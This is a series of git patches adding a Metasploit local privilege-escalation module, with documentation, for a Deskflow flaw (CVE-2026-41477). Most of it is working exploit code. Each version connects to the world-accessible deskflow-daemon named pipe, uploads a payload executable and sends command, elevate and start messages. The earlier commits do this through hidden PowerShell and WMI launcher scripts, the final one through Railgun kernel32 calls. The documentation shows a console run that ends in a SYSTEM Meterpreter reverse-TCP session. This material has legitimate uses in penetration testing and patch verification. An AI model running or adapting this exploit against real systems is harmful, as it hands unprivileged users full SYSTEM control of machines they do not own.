From 8a3a13070d7cb5a39851c12f6be4b3f163024db7 Mon Sep 17 00:00:00 2001 From: katana Date: Tue, 21 Apr 2026 15:14:34 +0100 Subject: [PATCH 1/4] Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE --- .../windows/local/deskflow_ipc_lpe.rb | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 modules/exploits/windows/local/deskflow_ipc_lpe.rb diff --git a/modules/exploits/windows/local/deskflow_ipc_lpe.rb b/modules/exploits/windows/local/deskflow_ipc_lpe.rb new file mode 100644 index 0000000000000..16b15113872fb --- /dev/null +++ b/modules/exploits/windows/local/deskflow_ipc_lpe.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Windows::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation', + 'Description' => %q{ + Deskflow daemon runs as SYSTEM and exposes a named pipe + (\\.\pipe\deskflow-daemon) with WorldAccessOption enabled. + Any local unprivileged user can connect and send privileged + commands without authentication. By sending command=, elevate=yes, + and start, an arbitrary executable is launched as NT AUTHORITY\SYSTEM. + Affects stable v1.20.0 and continuous build v1.26.0.134. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Chokri Hammedi (blue0x1)' + ], + 'References' => [ + ['CVE', '2026-41477'], + ['GHSA', 'GHSA-6rx5-g478-775c'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'SessionTypes' => ['meterpreter', 'shell'], + 'Targets' => [ + [ + 'Windows x64', + { + 'Arch' => ARCH_X64 + } + ], + [ + 'Windows x86', + { + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-04-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_advanced_options([ + OptString.new('WritableDir', [true, 'Writable directory for payload', '%TEMP%']), + OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 30]) + ]) + end + + def check + output = cmd_exec('powershell -NoP -NonI -C "[bool](Get-ChildItem \\\\.\\pipe\\ | Where-Object { $_.Name -eq \'deskflow-daemon\' })"') + + if output.strip.downcase == 'true' + CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible') + else + CheckCode::Safe('Named pipe deskflow-daemon not found') + end + end + + def exploit + output = cmd_exec('powershell -NoP -NonI -C "[bool](Get-ChildItem \\\\.\\pipe\\ | Where-Object { $_.Name -eq \'deskflow-daemon\' })"') + fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless output.strip.downcase == 'true' + + tmp_dir = expand_path('%TEMP%') + payload_name = "#{rand_text_alphanumeric(8)}.exe" + script_name = "#{rand_text_alphanumeric(8)}.ps1" + payload_path = "#{tmp_dir}\\#{payload_name}" + script_path = "#{tmp_dir}\\#{script_name}" + + print_status("Uploading payload to #{payload_path}...") + write_file(payload_path, generate_payload_exe) + register_file_for_cleanup(payload_path) + + print_status("Writing pipe trigger script to #{script_path}...") + write_file(script_path, build_pipe_script(payload_path)) + register_file_for_cleanup(script_path) + + print_status('Triggering escalation via deskflow-daemon named pipe...') + cmd_exec("powershell -NoP -NonI -W Hidden -Exec Bypass -File \"#{script_path}\"", nil, 5) + + print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...") + deadline = Time.now + datastore['WaitTimeout'].to_i + sleep(2) until !framework.sessions.empty? || Time.now >= deadline + end + + private + + def expand_path(env_path) + cmd_exec("powershell -NoP -NonI -C \"[System.Environment]::ExpandEnvironmentVariables('#{env_path}')\"").strip + end + + def build_pipe_script(exe_path) + <<~PS + $p = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'deskflow-daemon', [System.IO.Pipes.PipeDirection]::InOut) + $p.Connect(5000) + $b1 = [System.Text.Encoding]::ASCII.GetBytes("command=#{exe_path}`n") + $b2 = [System.Text.Encoding]::ASCII.GetBytes("elevate=yes`n") + $b3 = [System.Text.Encoding]::ASCII.GetBytes("start`n") + $b4 = [System.Text.Encoding]::ASCII.GetBytes("command=`n") + $p.Write($b1, 0, $b1.Length) + Start-Sleep -Milliseconds 500 + $p.Write($b2, 0, $b2.Length) + Start-Sleep -Milliseconds 500 + $p.Write($b3, 0, $b3.Length) + Start-Sleep -Milliseconds 2000 + $p.Write($b4, 0, $b4.Length) + $p.Close() + PS + end +end From 0df94728deb984003c968a210b196baae44b083d Mon Sep 17 00:00:00 2001 From: katana Date: Tue, 21 Apr 2026 15:24:15 +0100 Subject: [PATCH 2/4] Fix: use single backslash in description to pass ModuleDescriptionIndentation cop --- modules/exploits/windows/local/deskflow_ipc_lpe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/deskflow_ipc_lpe.rb b/modules/exploits/windows/local/deskflow_ipc_lpe.rb index 16b15113872fb..0114e65903eda 100644 --- a/modules/exploits/windows/local/deskflow_ipc_lpe.rb +++ b/modules/exploits/windows/local/deskflow_ipc_lpe.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation', 'Description' => %q{ Deskflow daemon runs as SYSTEM and exposes a named pipe - (\\.\pipe\deskflow-daemon) with WorldAccessOption enabled. + (\.\pipe\deskflow-daemon) with WorldAccessOption enabled. Any local unprivileged user can connect and send privileged commands without authentication. By sending command=, elevate=yes, and start, an arbitrary executable is launched as NT AUTHORITY\SYSTEM. From 68dce3641bb6a398a1cc2ecc7584dbc78e3c2e54 Mon Sep 17 00:00:00 2001 From: katana Date: Tue, 21 Apr 2026 16:03:01 +0100 Subject: [PATCH 3/4] Fix: add WMI launcher and stop sequence to prevent daemon session spam --- .../windows/local/deskflow_ipc_lpe.rb | 48 +++++++++++++++++-- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/deskflow_ipc_lpe.rb b/modules/exploits/windows/local/deskflow_ipc_lpe.rb index 0114e65903eda..7569d07508d20 100644 --- a/modules/exploits/windows/local/deskflow_ipc_lpe.rb +++ b/modules/exploits/windows/local/deskflow_ipc_lpe.rb @@ -61,7 +61,7 @@ def initialize(info = {}) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory for payload', '%TEMP%']), - OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 30]) + OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 45]) ]) end @@ -89,8 +89,15 @@ def exploit write_file(payload_path, generate_payload_exe) register_file_for_cleanup(payload_path) + launcher_name = "#{rand_text_alphanumeric(8)}.ps1" + launcher_path = "#{tmp_dir}\\#{launcher_name}" + + print_status("Writing WMI launcher to #{launcher_path}...") + write_file(launcher_path, build_wmi_launcher(payload_path)) + register_file_for_cleanup(launcher_path) + print_status("Writing pipe trigger script to #{script_path}...") - write_file(script_path, build_pipe_script(payload_path)) + write_file(script_path, build_pipe_script(launcher_path)) register_file_for_cleanup(script_path) print_status('Triggering escalation via deskflow-daemon named pipe...') @@ -98,20 +105,51 @@ def exploit print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...") deadline = Time.now + datastore['WaitTimeout'].to_i - sleep(2) until !framework.sessions.empty? || Time.now >= deadline + initial_sessions = framework.sessions.keys.dup + sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline + + new_session_id = (framework.sessions.keys - initial_sessions).first + return unless new_session_id + + print_good("SYSTEM session #{new_session_id} opened - sending stop to daemon") + stop_script_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.ps1" + write_file(stop_script_path, build_stop_script) + register_file_for_cleanup(stop_script_path) + cmd_exec("powershell -NoP -NonI -W Hidden -Exec Bypass -File \"#{stop_script_path}\"", nil, 5) end private + def build_stop_script + <<~PS + $p = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'deskflow-daemon', [System.IO.Pipes.PipeDirection]::InOut) + $p.Connect(3000) + $b1 = [System.Text.Encoding]::ASCII.GetBytes("stop`n") + $b2 = [System.Text.Encoding]::ASCII.GetBytes("command=`n") + $p.Write($b1, 0, $b1.Length) + Start-Sleep -Milliseconds 500 + $p.Write($b2, 0, $b2.Length) + $p.Close() + PS + end + def expand_path(env_path) cmd_exec("powershell -NoP -NonI -C \"[System.Environment]::ExpandEnvironmentVariables('#{env_path}')\"").strip end - def build_pipe_script(exe_path) + def build_wmi_launcher(exe_path) + <<~PS + $wmi = [wmiclass]"\\\\.\\root\\cimv2:Win32_Process" + $wmi.Create("#{exe_path}") + PS + end + + def build_pipe_script(launcher_path) + pipe_cmd = "powershell.exe -NonInteractive -WindowStyle Hidden -Exec Bypass -File #{launcher_path}" <<~PS $p = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'deskflow-daemon', [System.IO.Pipes.PipeDirection]::InOut) $p.Connect(5000) - $b1 = [System.Text.Encoding]::ASCII.GetBytes("command=#{exe_path}`n") + $b1 = [System.Text.Encoding]::ASCII.GetBytes("command=#{pipe_cmd}`n") $b2 = [System.Text.Encoding]::ASCII.GetBytes("elevate=yes`n") $b3 = [System.Text.Encoding]::ASCII.GetBytes("start`n") $b4 = [System.Text.Encoding]::ASCII.GetBytes("command=`n") From 2730190988b58d4020f52a7944d9d52a7f56db0a Mon Sep 17 00:00:00 2001 From: katana Date: Thu, 23 Apr 2026 06:09:15 +0100 Subject: [PATCH 4/4] Rewrite CVE-2026-41477 module: replace cmd_exec/PowerShell with Railgun APIs, add documentation - Replace all cmd_exec/PowerShell wrappers with kernel32 Railgun calls (CreateFileW, WriteFile, CloseHandle) for named pipe communication - Use session.fs.file.expand_path instead of PowerShell ExpandEnvironmentVariables - Remove WMI launcher and intermediate PS1 scripts entirely - Restrict SessionTypes to meterpreter (required for Railgun) - Add documentation with verified scenario output --- .../exploit/windows/local/deskflow_ipc_lpe.md | 57 +++++++ .../windows/local/deskflow_ipc_lpe.rb | 147 +++++++----------- 2 files changed, 113 insertions(+), 91 deletions(-) create mode 100644 documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md diff --git a/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md b/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md new file mode 100644 index 0000000000000..77b709b8cf354 --- /dev/null +++ b/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +Deskflow (formerly Synergy) is an open-source keyboard and mouse sharing +application. The Deskflow daemon runs as `NT AUTHORITY\SYSTEM` and creates +a named pipe `\\.\pipe\deskflow-daemon` with a world-accessible DACL +(`WorldAccessOption` enabled). + +Any local unprivileged user can connect to the pipe and issue IPC commands +without authentication. Sending `command=`, `elevate=yes`, and `start` +causes the daemon to execute the specified binary as `NT AUTHORITY\SYSTEM`. + +Affected versions: + +- Deskflow stable **v1.20.0** +- Deskflow continuous build **v1.26.0.134** + +## Verification Steps + +1. Start `msfconsole` +2. Obtain a Meterpreter session on the target as a normal (non-admin) user on + a machine running Deskflow +3. `use exploit/windows/local/deskflow_ipc_lpe` +4. `set SESSION ` +5. `set LHOST ` +6. `run` +7. A new Meterpreter session running as `NT AUTHORITY\SYSTEM` should open + +## Options + +### WaitTimeout (advanced) + +Number of seconds to wait for the SYSTEM session callback after triggering +the named pipe. Default: `45`. + +## Scenarios + +### Windows 10 22H2 x64, Deskflow v1.26.0.134 + +``` +[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use windows/local/deskflow_ipc_lpe +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> set session 11 +session => 11 +[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run +[*] Started reverse TCP handler on 172.16.126.1:4444 +[*] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe... +[*] Triggering escalation via deskflow-daemon named pipe... +[*] Waiting 45s for SYSTEM session... +[*] Sending stage (230982 bytes) to 172.16.126.135 +[+] SYSTEM session 12 opened +[*] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370) at 2026-04-23 06:04:16 +0100 + +(Meterpreter 12)(C:\Windows\system32) > getuid +Server username: NT AUTHORITY\SYSTEM +(Meterpreter 12)(C:\Windows\system32) > + +``` diff --git a/modules/exploits/windows/local/deskflow_ipc_lpe.rb b/modules/exploits/windows/local/deskflow_ipc_lpe.rb index 7569d07508d20..da7950d44a372 100644 --- a/modules/exploits/windows/local/deskflow_ipc_lpe.rb +++ b/modules/exploits/windows/local/deskflow_ipc_lpe.rb @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File - include Msf::Post::Windows::Powershell include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -17,12 +16,13 @@ def initialize(info = {}) info, 'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation', 'Description' => %q{ - Deskflow daemon runs as SYSTEM and exposes a named pipe - (\.\pipe\deskflow-daemon) with WorldAccessOption enabled. - Any local unprivileged user can connect and send privileged - commands without authentication. By sending command=, elevate=yes, - and start, an arbitrary executable is launched as NT AUTHORITY\SYSTEM. - Affects stable v1.20.0 and continuous build v1.26.0.134. + The Deskflow daemon runs as SYSTEM and exposes a named pipe + (\\.\pipe\deskflow-daemon) with WorldAccessOption enabled. + Any local unprivileged user can connect and send IPC commands + without authentication. Sending command=, elevate=yes, + and start causes the daemon to execute an arbitrary binary as + NT AUTHORITY\SYSTEM. Affects stable v1.20.0 and continuous + build v1.26.0.134. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -34,20 +34,10 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], - 'SessionTypes' => ['meterpreter', 'shell'], + 'SessionTypes' => ['meterpreter'], 'Targets' => [ - [ - 'Windows x64', - { - 'Arch' => ARCH_X64 - } - ], - [ - 'Windows x86', - { - 'Arch' => ARCH_X86 - } - ] + ['Windows x64', { 'Arch' => ARCH_X64 }], + ['Windows x86', { 'Arch' => ARCH_X86 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-04-16', @@ -60,107 +50,82 @@ def initialize(info = {}) ) register_advanced_options([ - OptString.new('WritableDir', [true, 'Writable directory for payload', '%TEMP%']), OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 45]) ]) end def check - output = cmd_exec('powershell -NoP -NonI -C "[bool](Get-ChildItem \\\\.\\pipe\\ | Where-Object { $_.Name -eq \'deskflow-daemon\' })"') + h = pipe_open(0x80000000) # GENERIC_READ + return CheckCode::Safe('Named pipe deskflow-daemon not found') unless h - if output.strip.downcase == 'true' - CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible') - else - CheckCode::Safe('Named pipe deskflow-daemon not found') - end + session.railgun.kernel32.CloseHandle(h) + CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible') end def exploit - output = cmd_exec('powershell -NoP -NonI -C "[bool](Get-ChildItem \\\\.\\pipe\\ | Where-Object { $_.Name -eq \'deskflow-daemon\' })"') - fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless output.strip.downcase == 'true' + fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless begin + h = pipe_open(0x80000000) + session.railgun.kernel32.CloseHandle(h) if h + h + end - tmp_dir = expand_path('%TEMP%') - payload_name = "#{rand_text_alphanumeric(8)}.exe" - script_name = "#{rand_text_alphanumeric(8)}.ps1" - payload_path = "#{tmp_dir}\\#{payload_name}" - script_path = "#{tmp_dir}\\#{script_name}" + tmp_dir = session.fs.file.expand_path('%TEMP%') + payload_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.exe" print_status("Uploading payload to #{payload_path}...") write_file(payload_path, generate_payload_exe) register_file_for_cleanup(payload_path) - launcher_name = "#{rand_text_alphanumeric(8)}.ps1" - launcher_path = "#{tmp_dir}\\#{launcher_name}" - - print_status("Writing WMI launcher to #{launcher_path}...") - write_file(launcher_path, build_wmi_launcher(payload_path)) - register_file_for_cleanup(launcher_path) - - print_status("Writing pipe trigger script to #{script_path}...") - write_file(script_path, build_pipe_script(launcher_path)) - register_file_for_cleanup(script_path) + initial_sessions = framework.sessions.keys.dup print_status('Triggering escalation via deskflow-daemon named pipe...') - cmd_exec("powershell -NoP -NonI -W Hidden -Exec Bypass -File \"#{script_path}\"", nil, 5) + trigger_pipe(payload_path) print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...") deadline = Time.now + datastore['WaitTimeout'].to_i - initial_sessions = framework.sessions.keys.dup - sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline + Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline new_session_id = (framework.sessions.keys - initial_sessions).first - return unless new_session_id - - print_good("SYSTEM session #{new_session_id} opened - sending stop to daemon") - stop_script_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.ps1" - write_file(stop_script_path, build_stop_script) - register_file_for_cleanup(stop_script_path) - cmd_exec("powershell -NoP -NonI -W Hidden -Exec Bypass -File \"#{stop_script_path}\"", nil, 5) + print_good("SYSTEM session #{new_session_id} opened") if new_session_id end private - def build_stop_script - <<~PS - $p = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'deskflow-daemon', [System.IO.Pipes.PipeDirection]::InOut) - $p.Connect(3000) - $b1 = [System.Text.Encoding]::ASCII.GetBytes("stop`n") - $b2 = [System.Text.Encoding]::ASCII.GetBytes("command=`n") - $p.Write($b1, 0, $b1.Length) - Start-Sleep -Milliseconds 500 - $p.Write($b2, 0, $b2.Length) - $p.Close() - PS - end + PIPE_NAME = '\\\\.\\pipe\\deskflow-daemon' + GENERIC_READ_WRITE = 0xC0000000 + OPEN_EXISTING = 3 + + def pipe_open(access) + result = session.railgun.kernel32.CreateFileW( + PIPE_NAME, + access, + 0, + nil, + OPEN_EXISTING, + 0, + 0 + ) + h = result['return'] + return nil if h.nil? || h == 0xFFFFFFFF || h == 0xFFFFFFFFFFFFFFFF || h.to_i < 0 - def expand_path(env_path) - cmd_exec("powershell -NoP -NonI -C \"[System.Environment]::ExpandEnvironmentVariables('#{env_path}')\"").strip + h end - def build_wmi_launcher(exe_path) - <<~PS - $wmi = [wmiclass]"\\\\.\\root\\cimv2:Win32_Process" - $wmi.Create("#{exe_path}") - PS + def pipe_write(handle, msg) + session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil) end - def build_pipe_script(launcher_path) - pipe_cmd = "powershell.exe -NonInteractive -WindowStyle Hidden -Exec Bypass -File #{launcher_path}" - <<~PS - $p = New-Object System.IO.Pipes.NamedPipeClientStream('.', 'deskflow-daemon', [System.IO.Pipes.PipeDirection]::InOut) - $p.Connect(5000) - $b1 = [System.Text.Encoding]::ASCII.GetBytes("command=#{pipe_cmd}`n") - $b2 = [System.Text.Encoding]::ASCII.GetBytes("elevate=yes`n") - $b3 = [System.Text.Encoding]::ASCII.GetBytes("start`n") - $b4 = [System.Text.Encoding]::ASCII.GetBytes("command=`n") - $p.Write($b1, 0, $b1.Length) - Start-Sleep -Milliseconds 500 - $p.Write($b2, 0, $b2.Length) - Start-Sleep -Milliseconds 500 - $p.Write($b3, 0, $b3.Length) - Start-Sleep -Milliseconds 2000 - $p.Write($b4, 0, $b4.Length) - $p.Close() - PS + def trigger_pipe(exe_path) + h = pipe_open(GENERIC_READ_WRITE) + fail_with(Failure::Unreachable, 'Could not open deskflow-daemon named pipe') unless h + + rg = session.railgun + + ["command=#{exe_path}\n", "elevate=yes\n", "start\n"].each do |msg| + pipe_write(h, msg) + Rex::ThreadSafe.sleep(0.5) + end + + rg.kernel32.CloseHandle(h) end end